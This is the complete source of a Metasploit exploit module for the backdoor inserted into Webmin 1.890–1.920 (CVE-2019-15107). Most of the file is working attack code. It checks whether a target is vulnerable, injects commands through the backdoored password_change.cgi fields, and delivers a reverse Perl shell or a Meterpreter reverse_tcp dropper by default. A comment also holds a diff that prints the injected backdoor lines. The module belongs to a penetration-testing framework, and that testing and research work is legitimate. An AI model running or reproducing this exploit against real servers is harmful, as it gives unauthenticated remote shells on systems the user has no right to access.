## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Webmin password_change.cgi Backdoor', 'Description' => %q{ This module exploits a backdoor in Webmin versions 1.890 through 1.920. Only the SourceForge downloads were backdoored, but they are listed as official downloads on the project's site. Unknown attacker(s) inserted Perl qx statements into the build server's source code on two separate occasions: once in April 2018, introducing the backdoor in the 1.890 release, and in July 2018, reintroducing the backdoor in releases 1.900 through 1.920. Only version 1.890 is exploitable in the default install. Later affected versions require the expired password changing feature to be enabled. }, 'Author' => [ 'AkkuS', # (Özkan Mustafa Akkuş) Discovery and independent module 'wvu' # This module and updated information about the backdoor ], 'References' => [ ['CVE', '2019-15107'], # y tho ['URL', 'http://www.webmin.com/exploit.html'], ['URL', 'https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html'], ['URL', 'https://blog.firosolutions.com/exploits/webmin/'], ['URL', 'https://github.com/webmin/webmin/issues/947'] ], 'DisclosureDate' => '2019-08-10', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ ['Automatic (Unix In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Version' => [ Gem::Version.new('1.890'), Gem::Version.new('1.920') ], 'Type' => :unix_memory, 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'} ], ['Automatic (Linux Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Version' => [ Gem::Version.new('1.890'), Gem::Version.new('1.920') ], 'Type' => :linux_dropper, 'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'} ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } )) register_options([ Opt::RPORT(10000), OptString.new('TARGETURI', [true, 'Base path to Webmin', '/']) ]) register_advanced_options([ OptBool.new('ForceExploit', [false, 'Override check result', false]) ]) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) unless res vprint_error('Server did not respond') return CheckCode::Unknown end version = res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first unless version vprint_error('Webmin version not detected') return CheckCode::Unknown end version = Gem::Version.new(version) vprint_status("Webmin #{version} detected") checkcode = CheckCode::Detected unless version.between?(*target['Version']) vprint_error("Webmin #{version} is not a supported target") return CheckCode::Safe end vprint_good("Webmin #{version} is a supported target") checkcode = CheckCode::Appears res = execute_command("echo #{token}") unless res vprint_error('Webmin did not respond to check command') return checkcode end if res.body.include?('Password changing is not enabled!') vprint_error('Expired password changing disabled') return CheckCode::Safe end if res.body.include?(token) vprint_good('Webmin executed a benign check command') checkcode = CheckCode::Vulnerable else vprint_error('Webmin did not execute our check command') return CheckCode::Safe end checkcode end def exploit # These CheckCodes are allowed to pass automatically checkcodes = [ CheckCode::Appears, CheckCode::Vulnerable ] unless checkcodes.include?(check) || datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') end print_status("Configuring #{target.name} target") case target['Type'] when :unix_memory print_status("Sending #{datastore['PAYLOAD']} command payload") vprint_status("Generated command payload: #{payload.encoded}") res = execute_command(payload.encoded) if res && datastore['PAYLOAD'] == 'cmd/unix/generic' print_warning('Dumping command output in full response body') if res.body.empty? print_error('Empty response body, no command output') return end print_line(res.body) end when :linux_dropper print_status("Sending #{datastore['PAYLOAD']} command stager") execute_cmdstager end end =begin wvu@kharak:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi ====2 1:1c 3:1c #!/usr/bin/perl 2:1c #!/usr/local/bin/perl ====1 1:12c $in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/; 2:12c 3:12c $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!"; ====3 1:40c 2:40c $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'}); 3:40c $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/); ====3 1:200c 2:200c # Show ok page 3:200c wvu@kharak:~/Downloads$ =end def execute_command(cmd, _opts = {}) send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'password_change.cgi'), 'headers' => {'Referer' => full_uri}, 'vars_post' => { # 1.890 'expired' => cmd, # 1.900-1.920 'new1' => token, 'new2' => token, 'old' => cmd } }, 3.5) end def token @token ||= Rex::Text.rand_text_alphanumeric(8..42) end end